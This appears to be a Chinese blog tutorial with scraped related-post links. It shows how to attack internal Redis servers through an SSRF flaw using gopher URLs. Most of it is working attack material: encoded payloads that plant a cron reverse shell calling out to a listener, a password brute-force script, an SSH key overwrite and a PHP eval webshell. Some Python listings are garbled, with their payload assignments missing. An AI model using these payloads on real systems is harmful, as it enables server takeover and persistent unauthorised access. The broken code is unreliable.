0x00 redis基础

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

常见的几种攻击方式:
1.利用计划任务执行命令反弹shell

2.写ssh-keygen公钥然后使用私钥登陆

3.往web物理路径写webshell

0x01 redis安装

1、安装redis
apt-get install redis-server
2、修改redis监听IP(如果不修改,不可远程登录),IP需要替换为自己的IP
vim /etc/redis/redis.conf
# 修改为以下内容
bind 127.0.0.1 192.168.0.67
3、启动redis服务
service redis-server start

0x02 redis入侵,反弹shell

在开始讲攻击Redis之前,必须要理解Redis的客户端和服务端的通信方式,以及数据发送的格式,该目的的实现需要tcpdump的抓包功能。使用抓包软件来查看Redis客户端和Redis服务端的通信数据,找到语法结构后开始模拟客户端发送数据。

1、使用tcpdump来完成抓包,命令如下:
tcpdump -i eth0 port 6379 -w redis.pcap
参数说明如下:(更多tcpdump的教程,参考[Tcpdump教程](https://www.runoob.com/linux/linux-comm-tcpdump.html))
-i:指定网卡为eth0
port:指定抓哪个端口的数据
-w:将流量包保存为文件
2、使用Redis客户端登录Redis服务端,命令如下(默认无密码):
root@Kali-2018:~/tmp# redis-cli -h 192.168.0.119 -p 6379
192.168.0.119:6379> get a
(nil)
192.168.0.119:6379>

以上命令做了一个获取a对应的值是多少的操作,现在我们使用wireshark看一下抓到的包(使用追踪流-TCP流):
上面非常多的内容就不放了

*2
$3
get
$1
a
-1

如果不理解Redis的数据发送的数据包格式,是看不懂上面内容的,这里必须要讲这么几个内容:
2.1、序列化协议:客户端-服务端之间交互的是序列化后的协议数据。在Redis中,协议数据分为不同的类型,每种类型的数据均以CRLF(\r\n)结束,通过数据的首字符区分类型。
2.2、inline command:这类数据表示Redis命令,首字符为Redis命令的字符,格式为 str1 str2 str3 …。如:exists key1,命令和参数以空格分隔。
2.3、simple string:首字符为'+',后续字符为string的内容,且该string 不能包含'\r'或者'\n'两个字符,最后以'\r\n'结束。如:'+OK\r\n',表示”OK”,这个string数据。
2.4、bulk string:bulk string 首字符为'$',紧跟着的是string数据的长度,'\r\n'后面是内容本身(包含’\r’、’\n’等特殊字符),最后以'\r\n'结束。如:
"$12\r\nhello\r\nworld\r\n"
上面字节串描述了 “hello\r\nworld” 的内容(中间有个换行)。对于" "空串和null,通过'$' 之后的数字进行区分:
"$0\r\n\r\n" 表示空串;
"$-1\r\n" 表示null。
2.5、integer:以 ':' 开头,后面跟着整型内容,最后以'\r\n'结尾。如:":13\r\n",表示13的整数。
2.6、array:以'*'开头,紧跟着数组的长度,"\r\n" 之后是每个元素的序列化数据。如:"*2\r\n+abc\r\n:9\r\n" 表示一个长度为2的数组:["abc", 9]。数组长度为0或 -1分别表示空数组或 null。
数组的元素本身也可以是数组,多级数组是树状结构,采用先序遍历的方式序列化。如:[[1, 2], ["abc"]],序列化为:"*2\r\n*2\r\n:1\r\n:2\r\n*1\r\n+abc\r\n"。
3、经过上面内容的讲解,在回过头理解抓到的redis的包就很容易明白了。

上面非常多的内容就不放了
*2 数组长度为2
$3 bulk string,代表字符串长度为3,就是get
get 普通字符
$1 bulk string,代表字符串长度为1,就是a
a 普通字符
-1 返回内容,-1代表null

明白以上内容后基本就理清了思路,如果要给redis发命令,按照他的序列化规则即可。现在有一个大胆的想法,如果我用gopher去执行redis的命令呢?为了实现我们的想法,我们在Redis中加一个key,名字为name,值为Margin。命令如下:

set name Margin

此时,我们使用curl来发起gopher的请求,如下:

curl gopher://192.168.0.119:6379/_*2
$3
get
$4
name

将其转化为url编码

curl gopher://192.168.0.119:6379/_%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a

执行结果如下

margine:~ margin$ curl gopher://192.168.0.119:6379/_%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a
$6
Margin

那如果是在web漏洞中呢?如何利用?
1、构造利用代码
2、url转码
3、再次url转码

web环境我们还是使用上一节课的代码(curl_exec.php),代码如下:

<?php
$url = $_GET['url'];
echo $url;
#var_dump(curl_version());
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>

这次我们发送的redis数据包是

*2
$3
get
$4
name
quit

先对它进行url转码

%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a%71%75%69%74%0d%0a

注意一般要把%0a替换为%0d%0a(这里我们已经替换过了)

进行二次编码

%25%32%61%25%33%32%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%37%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61

然后构造利用代码

http://192.168.1.105/curl_exec.php?url=gopher%3a%2f%2f192.168.1.101%3a6379%2f_%25%32%61%25%33%32%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%37%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61

进行请求

成功读取到redis数据库键name的值

monitor可以实时查看redis的日志

接下来测试下反弹shell(没有用上面讲的redis的数据包格式,下面的格式也可以),命令如下:

set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

上述命令的含义总结为,利用Redis的备份功能,将crontab的定时任务备份到/etc/crontab中,起到执行命令的效果,因为Linux会监测/etc/crontab的内容,当我们将反弹shell的命令加入进去后,变会被执行,具体解释如下:
crontab是linux下的一个定时任务

# 添加名为mars的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,开始和技术的\n必须要有一个,也就是前后各有一个,当然,多个可以,主要是为了避免crontab的语法错误。crontab知识可以参考:【https://www.runoob.com/w3cnote/linux-crontab-tasks.html】

set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n\n\n"
# 设置备份的路径为/etc
config set dir /etc/
# 设置备份文件名为crontab
config set dbfilename crontab
# 开始备份
save

进行二次url编码,结果如下

http://192.168.1.105/curl_exec.php?url=gopher%3a%2f%2f192.168.1.101%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%36%64%25%36%31%25%37%32%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%32%65%25%33%31%25%33%30%25%33%36%25%32%66%25%33%39%25%33%39%25%33%39%25%33%39%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%33%25%37%32%25%36%66%25%36%65%25%37%34%25%36%31%25%36%32%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61

1分钟后发现成功反弹shell。

0x03 redis认证攻击

以上为Redis未授权访问攻击,但如果Redis设置了密码呢?
如果要执行命令的话,必须要有密码才可以,所以接下来的问题便是如何破解Redis的密码,首先想到的暴力破解。此时要研究下Redis如何验证身份信息。方法还是抓包,抓到认证的流量,重放即可。抓包发现:

*2
$4
auth
$6
Margin

可以翻译为认证命令为auth xxxx
那么我们将redis的密码改为任意密码,我设置为Margin
config set requirepass Margin
将请求包改为

auth Margin
quit

python代码变为

 1 #!/usr/bin/python
2 # -*- coding: UTF-8 -*-
3 import urllib2,urllib
4 url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
5 gopher = "gopher://192.168.0.119:6379/_"
6 def get_password():
7 f = open("password.txt","r")
8 return f.readlines()
9 def encoder_url(data):
10 encoder = ""
11 for single_char in data:
12 # 先转为ASCII
13 encoder += str(hex(ord(single_char)))
14 encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
15 return encoder
16 for password in get_password():
17 # 攻击脚本
18 "auth %s
19 quit
20 """ % password
21 # 二次编码
22 encoder = encoder_url(encoder_url(data))
23 # 生存payload
24 payload = url + urllib.quote(gopher,'utf-8') + encoder
25 # 发起请求
26 request = urllib2.Request(payload)
27 response = urllib2.urlopen(request).read()
28 if response.count("+OK") > 1:
29 print "find password : " + password

所以,在已知密码的情况下可以将攻击的python代码中加入认证的语句,如下:

auth Margin
set mars "\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/6671 0>&1\\n"
config set dir /etc/
config set dbfilename crontab
save

再次运行python脚本,便可成功反弹shell。

0x04 写ssh-keygen公钥,用私钥登录

在上面的内容中描述了如何使用Redis的数据备份执行命令,接下来讲解通过写入ssh-keygen公钥,使用私钥登录。思路还是利用备份,将私钥字符串备份到目标服务器.ssh目录下。
要完成此操作,需要两个前提条件
(1)Redis服务使用ROOT账号启动(可以临时执行sudo -u root /usr/bin/redis-server /etc/redis/redis.conf 来以root权限运行)
(2) 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
首先在本地生成一对密钥

查看密钥的字符串,一会使用Redis的备份功能,将密钥字符串传到目标服务器。

margine:.ssh margin$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local

构造payload,如下:

config set dir /root/.ssh/
config set dbfilename authorized_keys
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local"
save
quit

进一步得到python代码为:

 1 #!/usr/bin/python
2 # -*- coding: UTF-8 -*-
3 import urllib2,urllib
4
5 url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
6 gopher = "gopher://192.168.0.67:6379/_"
7
8 # 攻击脚本
9 "config set dir /root/.ssh/
10 config set dbfilename authorized_keys
11 set margin "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local\\n\\n"
12 save
13 quit
14
15 """
16
17 def encoder_url(data):
18 encoder = ""
19 for single_char in data:
20 # 先转为ASCII
21 encoder += str(hex(ord(single_char)))
22 encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
23 return encoder
24
25 # 二次编码
26 encoder = encoder_url(encoder_url(data))
27
28 print encoder
29 # 生存payload
30 payload = url + urllib.quote(gopher,'utf-8') + encoder
31
32 # 发起请求
33 request = urllib2.Request(payload)
34 response = urllib2.urlopen(request).read()
35 print response

0x05 写webshell

经过上面文章的学习,对于写webshell来说便变得非常简单,要完成此操作,需要两个前提条件
(1)当前运行redis的用户在web目录有写权限
(2) 知道web目录的绝对路径
步骤比较简单,原理还是利用Redis的备份功能,只不过这次是备份成webshell(redis所在的服务器需要phpstudy环境,参考Linux下phpstudy安装
修改python中的payload,如下:

"config set dir /var/www/html/
config set dbfilename margin.php
set margin "\\n<?php eval($_POST['margin']);?>\\n"
save
quit
"""

此处不贴完整的python代码了,执行后可以看到目标主机有了margin.php文件,使用菜刀连接即可。

SSRF打内网redis的更多相关文章

  1. SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)(附批量检测脚本)

    0X01 概述 SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务.利用SSRF能实现以下效果:1)        扫描内网(主 ...

  2. 怎样从外网访问内网Redis数据库?

    本地安装了一个Redis数据库,只能在局域网内访问到,怎样从外网也能访问到本地的Redis数据库呢?本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动Redis数据库 默认安装的Redis ...

  3. ssrf漏洞利用(内网探测、打redis)

    摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http.file.gopher.dict协议. file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描.端口探测,如果探测到637 ...

  4. 后渗透阶段之基于MSF的内网主机探测

    当我们通过代理可以进入某内网,需要对内网主机的服务进行探测.我们就可以使用MSF里面的内网主机探测模块了. 在这之前,先修改 /etc/proxychains.conf ,加入我们的代理. 然后 pr ...

  5. Redis利用,攻击内网(ssrf)

    Redis语法 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C ...

  6. php+redis实现多台服务器内网存储session并读取

    大型网站由于大并发的问题会导致系统出现诡异的崩溃性问题这着实让人很是蛋疼,首先考虑的就是负载均衡服务器来处理这个,当然数据库的性能也是非常非常重要的,今天就说下在负载均衡情况下对于session这个问 ...

  7. Linux通过端口转发来访问内网服务(端口转发访问阿里云Redis数据库等服务)

    # 安装rinetd wget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf rinetd.tar.gz& ...

  8. redis允许内网访问

    如题有A.B两台服务器. A服务器上装有reis,内网IP:192.168.0.1 B服务器需要访问A服务器上的redis 一.修改A服务器上redis.conf文件 bind 192.168.0.1 ...

  9. redis 只允许指定的额内网IP访问,其余的外网IP不允许访问

    为了redis的安全,现在设定如下规则.只允许指定的服务器通过内网的方式访问.其余一律不准访问 因为redis登录额时候是不需要密码的,很不安全. 所以这里添加如下iptables规则 iptable ...

随机推荐

  1. TSN 时间敏感网络:缘起 (TSN历史与现状)

    前言 随着工业物联网(IIoT)的兴起和工业4.0的提出,越来越多的设计师.工程师和最终用户关注时间敏感网络(Time-Sensitive Networking,下简称为TSN).TSN为以太网提供确 ...

  2. 万字教你如何用 Python 实现线性规划

    摘要:线性规划是一组数学和计算工具,可让您找到该系统的特定解,该解对应于某些其他线性函数的最大值或最小值. 本文分享自华为云社区<实践线性规划:使用 Python 进行优化>,作者: Yu ...

  3. 控制 Python 类的序列化过程

    问题 有的类是不支持在多进程间传递的,如果非要这么做,可能会引发奇怪的现象.比如下面这段代码: from concurrent.futures import ProcessPoolExecutor, ...

  4. HGAME pwn ROP_LEVEL2

    花了好多天,终于把这个题彻底弄懂了...自己太菜了    下载文件,首先checksec检查一下保护. 只开启了堆栈不可执行,接下来拖到IDA看一下C的伪代码. 大致先让你输入,然后再次让你输入. 第 ...

  5. CF1494A ABC String 题解

    Content 给定 \(T\) 个仅包含大写字母 A,B,C 的字符串 \(s\).问你是否能够通过将每个 A,B,C 换成 (,) 中的一个(同一个字母必须要换成同一个字符),使得最后得到的括号序 ...

  6. CF1501A Alexey and Train 题解

    Content 一列火车从 \(0\) 时刻开始从 \(1\) 号站出发,要经过 \(n\) 个站,第 \(i\) 个站的期望到达时间和离开时间分别为 \(a_i\) 和 \(b_i\),并且还有一个 ...

  7. 当是class com.cosl.po.Pc$$EnhancerByCGLIB$$38c58f03时,反射属性都他妈不好用了

    当是class com.cosl.po.Pc$$EnhancerByCGLIB$$38c58f03时,反射属性都他妈不好用了 搞不懂为什么?

  8. JAVA实现office文档(word、excel、ppt等)、压缩包在线预览,支持禁止下载功能、支持PC和手机

    我们使用的是永中的第三方服务.支持直接转换文档的线上地址,也可以直接把文档上传到官方服务器上 官方文档地址:https://www.yozodcs.com/page/help.html#link152 ...

  9. istio的sidecar原理学习

    目的 从内嵌到应用的SDK模式转成istio servicemesh,再到最新提出来的proxyless可谓是发展太快了.刚开始我只是围绕着服务注册和发现是怎么转变来展开研究,但是发现这个话题有点大, ...

  10. 【LeetCode】345. Reverse Vowels of a String 解题报告(Java & Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 使用栈 双指针 日期 [LeetCode] 题目地址 ...